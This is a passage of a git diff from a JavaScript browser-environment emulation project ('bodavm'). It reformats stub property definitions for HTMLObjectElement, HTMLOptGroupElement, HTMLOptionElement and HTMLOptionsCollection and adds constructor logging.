bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "standby_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "vspace", {configurable:true, enumerable:true, get:function vspace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "vspace_get", arguments)}, set:function vspace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "vspace_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "codeBase", {configurable:true, enumerable:true, get:function codeBase (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "codeBase_get", arguments)}, set:function codeBase (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "codeBase_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "codeType", {configurable:true, enumerable:true, get:function codeType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "codeType_get", arguments)}, set:function codeType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "codeType_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "border", {configurable:true, enumerable:true, get:function border (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "border_get", arguments)}, set:function border (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "border_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "checkValidity", {configurable:true, enumerable:true, writable:true, value:function checkValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "checkValidity", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "getSVGDocument", {configurable:true, enumerable:true, writable:true, value:function getSVGDocument (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "getSVGDocument", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "reportValidity", {configurable:true, enumerable:true, writable:true, value:function reportValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "reportValidity", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLObjectElement', "setCustomValidity", {configurable:true, enumerable:true, writable:true, value:function setCustomValidity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "setCustomValidity", arguments)}},'prototype'); +// HTMLObjectElement对象 + +bodavm.memory.globalobj['HTMLObjectElement'] = function HTMLObjectElement() { + console.log_copy('HTMLObjectElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLObjectElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLObjectElement'], "HTMLObjectElement"); +bodavm.memory.globalobj['HTMLObjectElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLObjectElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "data", { + configurable: true, + enumerable: true, + get: function data() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "data_get", arguments); + }, + set: function data() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "data_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "type_get", arguments); + }, + set: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "type_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "name_get", arguments); + }, + set: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "name_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "useMap", { + configurable: true, + enumerable: true, + get: function useMap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "useMap_get", arguments); + }, + set: function useMap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "useMap_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "form", { + configurable: true, + enumerable: true, + get: function form() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "form_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "width_get", arguments); + }, + set: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "width_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "height_get", arguments); + }, + set: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "height_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "contentDocument", { + configurable: true, + enumerable: true, + get: function contentDocument() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "contentDocument_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "contentWindow", { + configurable: true, + enumerable: true, + get: function contentWindow() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "contentWindow_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "willValidate", { + configurable: true, + enumerable: true, + get: function willValidate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "willValidate_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "validity", { + configurable: true, + enumerable: true, + get: function validity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "validity_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "validationMessage", { + configurable: true, + enumerable: true, + get: function validationMessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "validationMessage_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "align", { + configurable: true, + enumerable: true, + get: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "align_get", arguments); + }, + set: function align() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "align_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "archive", { + configurable: true, + enumerable: true, + get: function archive() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "archive_get", arguments); + }, + set: function archive() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "archive_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "code", { + configurable: true, + enumerable: true, + get: function code() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "code_get", arguments); + }, + set: function code() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "code_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "declare", { + configurable: true, + enumerable: true, + get: function declare() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "declare_get", arguments); + }, + set: function declare() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "declare_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "hspace", { + configurable: true, + enumerable: true, + get: function hspace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "hspace_get", arguments); + }, + set: function hspace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "hspace_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "standby", { + configurable: true, + enumerable: true, + get: function standby() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "standby_get", arguments); + }, + set: function standby() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "standby_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "vspace", { + configurable: true, + enumerable: true, + get: function vspace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "vspace_get", arguments); + }, + set: function vspace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "vspace_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "codeBase", { + configurable: true, + enumerable: true, + get: function codeBase() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "codeBase_get", arguments); + }, + set: function codeBase() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "codeBase_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "codeType", { + configurable: true, + enumerable: true, + get: function codeType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "codeType_get", arguments); + }, + set: function codeType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "codeType_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "border", { + configurable: true, + enumerable: true, + get: function border() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "border_get", arguments); + }, + set: function border() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "border_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "checkValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function checkValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "checkValidity", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "getSVGDocument", { + configurable: true, + enumerable: true, + writable: true, + value: function getSVGDocument() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "getSVGDocument", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "reportValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function reportValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "reportValidity", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLObjectElement', "setCustomValidity", { + configurable: true, + enumerable: true, + writable: true, + value: function setCustomValidity() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLObjectElement'].prototype, "HTMLObjectElement", "setCustomValidity", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLOptGroupElement.js b/env_xbb_lastest_jsdom/env/HTMLOptGroupElement.js index b26842fe..b06e5e33 100644 --- a/env_xbb_lastest_jsdom/env/HTMLOptGroupElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLOptGroupElement.js @@ -1,7 +1,39 @@ -// HTMLOptGroupElement对象 -bodavm.memory.globalobj['HTMLOptGroupElement'] = function HTMLOptGroupElement(){if (!(this instanceof HTMLOptGroupElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLOptGroupElement'], "HTMLOptGroupElement"); -bodavm.memory.globalobj['HTMLOptGroupElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLOptGroupElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLOptGroupElement', "disabled", {configurable:true, enumerable:true, get:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptGroupElement'].prototype, "HTMLOptGroupElement", "disabled_get", arguments)}, set:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptGroupElement'].prototype, "HTMLOptGroupElement", "disabled_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOptGroupElement', "label", {configurable:true, enumerable:true, get:function label (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptGroupElement'].prototype, "HTMLOptGroupElement", "label_get", arguments)}, set:function label (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptGroupElement'].prototype, "HTMLOptGroupElement", "label_set", arguments)}},'prototype'); +// HTMLOptGroupElement对象 + +bodavm.memory.globalobj['HTMLOptGroupElement'] = function HTMLOptGroupElement() { + console.log_copy('HTMLOptGroupElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLOptGroupElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLOptGroupElement'], "HTMLOptGroupElement"); +bodavm.memory.globalobj['HTMLOptGroupElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLOptGroupElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLOptGroupElement', "disabled", { + configurable: true, + enumerable: true, + get: function disabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptGroupElement'].prototype, "HTMLOptGroupElement", "disabled_get", arguments); + }, + set: function disabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptGroupElement'].prototype, "HTMLOptGroupElement", "disabled_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOptGroupElement', "label", { + configurable: true, + enumerable: true, + get: function label() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptGroupElement'].prototype, "HTMLOptGroupElement", "label_get", arguments); + }, + set: function label() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptGroupElement'].prototype, "HTMLOptGroupElement", "label_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLOptionElement.js b/env_xbb_lastest_jsdom/env/HTMLOptionElement.js index 03f2e6ff..246a8a32 100644 --- a/env_xbb_lastest_jsdom/env/HTMLOptionElement.js +++ b/env_xbb_lastest_jsdom/env/HTMLOptionElement.js @@ -1,13 +1,95 @@ -// HTMLOptionElement对象 -bodavm.memory.globalobj['HTMLOptionElement'] = function HTMLOptionElement(){if (!(this instanceof HTMLOptionElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLOptionElement'], "HTMLOptionElement"); -bodavm.memory.globalobj['HTMLOptionElement'].prototype.__proto__=bodavm.memory.globalobj['HTMLElement'].prototype; -bodavm.memory.globalobj['HTMLOptionElement'].__proto__=bodavm.memory.globalobj['HTMLElement']; -bodavm.toolsFunc.defineProperty('HTMLOptionElement', "disabled", {configurable:true, enumerable:true, get:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "disabled_get", arguments)}, set:function disabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "disabled_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOptionElement', "form", {configurable:true, enumerable:true, get:function form (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "form_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOptionElement', "label", {configurable:true, enumerable:true, get:function label (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "label_get", arguments)}, set:function label (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "label_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOptionElement', "defaultSelected", {configurable:true, enumerable:true, get:function defaultSelected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "defaultSelected_get", arguments)}, set:function defaultSelected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "defaultSelected_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOptionElement', "selected", {configurable:true, enumerable:true, get:function selected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "selected_get", arguments)}, set:function selected (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "selected_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOptionElement', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "value_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOptionElement', "text", {configurable:true, enumerable:true, get:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "text_get", arguments)}, set:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "text_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOptionElement', "index", {configurable:true, enumerable:true, get:function index (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "index_get", arguments)}, set:undefined},'prototype'); +// HTMLOptionElement对象 + +bodavm.memory.globalobj['HTMLOptionElement'] = function HTMLOptionElement() { + console.log_copy('HTMLOptionElement 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLOptionElement)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLOptionElement'], "HTMLOptionElement"); +bodavm.memory.globalobj['HTMLOptionElement'].prototype.__proto__ = bodavm.memory.globalobj['HTMLElement'].prototype; +bodavm.memory.globalobj['HTMLOptionElement'].__proto__ = bodavm.memory.globalobj['HTMLElement']; +bodavm.toolsFunc.defineProperty('HTMLOptionElement', "disabled", { + configurable: true, + enumerable: true, + get: function disabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "disabled_get", arguments); + }, + set: function disabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "disabled_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOptionElement', "form", { + configurable: true, + enumerable: true, + get: function form() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "form_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOptionElement', "label", { + configurable: true, + enumerable: true, + get: function label() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "label_get", arguments); + }, + set: function label() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "label_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOptionElement', "defaultSelected", { + configurable: true, + enumerable: true, + get: function defaultSelected() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "defaultSelected_get", arguments); + }, + set: function defaultSelected() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "defaultSelected_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOptionElement', "selected", { + configurable: true, + enumerable: true, + get: function selected() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "selected_get", arguments); + }, + set: function selected() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "selected_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOptionElement', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "value_get", arguments); + }, + set: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "value_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOptionElement', "text", { + configurable: true, + enumerable: true, + get: function text() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "text_get", arguments); + }, + set: function text() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "text_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOptionElement', "index", { + configurable: true, + enumerable: true, + get: function index() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionElement'].prototype, "HTMLOptionElement", "index_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/HTMLOptionsCollection.js b/env_xbb_lastest_jsdom/env/HTMLOptionsCollection.js index 65d485ec..8f3dcf3e 100644 --- a/env_xbb_lastest_jsdom/env/HTMLOptionsCollection.js +++ b/env_xbb_lastest_jsdom/env/HTMLOptionsCollection.js @@ -1,9 +1,55 @@ -// HTMLOptionsCollection对象 -bodavm.memory.globalobj['HTMLOptionsCollection'] = function HTMLOptionsCollection(){if (!(this instanceof HTMLOptionsCollection)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLOptionsCollection'], "HTMLOptionsCollection"); -bodavm.memory.globalobj['HTMLOptionsCollection'].prototype.__proto__=bodavm.memory.globalobj['HTMLCollection'].prototype; -bodavm.memory.globalobj['HTMLOptionsCollection'].__proto__=bodavm.memory.globalobj['HTMLCollection']; -bodavm.toolsFunc.defineProperty('HTMLOptionsCollection', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionsCollection'].prototype, "HTMLOptionsCollection", "length_get", arguments)}, set:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionsCollection'].prototype, "HTMLOptionsCollection", "length_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOptionsCollection', "selectedIndex", {configurable:true, enumerable:true, get:function selectedIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionsCollection'].prototype, "HTMLOptionsCollection", "selectedIndex_get", arguments)}, set:function selectedIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionsCollection'].prototype, "HTMLOptionsCollection", "selectedIndex_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOptionsCollection', "add", {configurable:true, enumerable:true, writable:true, value:function add (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionsCollection'].prototype, "HTMLOptionsCollection", "add", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('HTMLOptionsCollection', "remove", {configurable:true, enumerable:true, writable:true, value:function remove (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionsCollection'].prototype, "HTMLOptionsCollection", "remove", arguments)}},'prototype'); +// HTMLOptionsCollection对象 + +bodavm.memory.globalobj['HTMLOptionsCollection'] = function HTMLOptionsCollection() { + console.log_copy('HTMLOptionsCollection 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof HTMLOptionsCollection)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['HTMLOptionsCollection'], "HTMLOptionsCollection"); +bodavm.memory.globalobj['HTMLOptionsCollection'].prototype.__proto__ = bodavm.memory.globalobj['HTMLCollection'].prototype; +bodavm.memory.globalobj['HTMLOptionsCollection'].__proto__ = bodavm.memory.globalobj['HTMLCollection']; +bodavm.toolsFunc.defineProperty('HTMLOptionsCollection', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionsCollection'].prototype, "HTMLOptionsCollection", "length_get", arguments); + }, + set: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionsCollection'].prototype, "HTMLOptionsCollection", "length_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOptionsCollection', "selectedIndex", { + configurable: true, + enumerable: true, + get: function selectedIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionsCollection'].prototype, "HTMLOptionsCollection", "selectedIndex_get", arguments); + }, + set: function selectedIndex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionsCollection'].prototype, "HTMLOptionsCollection", "selectedIndex_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOptionsCollection', "add", { + configurable: true, + enumerable: true, + writable: true, + value: function add() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['HTMLOptionsCollection'].prototype, "HTMLOptionsCollection", "add", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('HTMLOptionsCollection', "remove", { + configurable: true, + enumerable: true, + writable: true, + value: function remove() { + return bodavm.toolsFunc.dispatch(this, 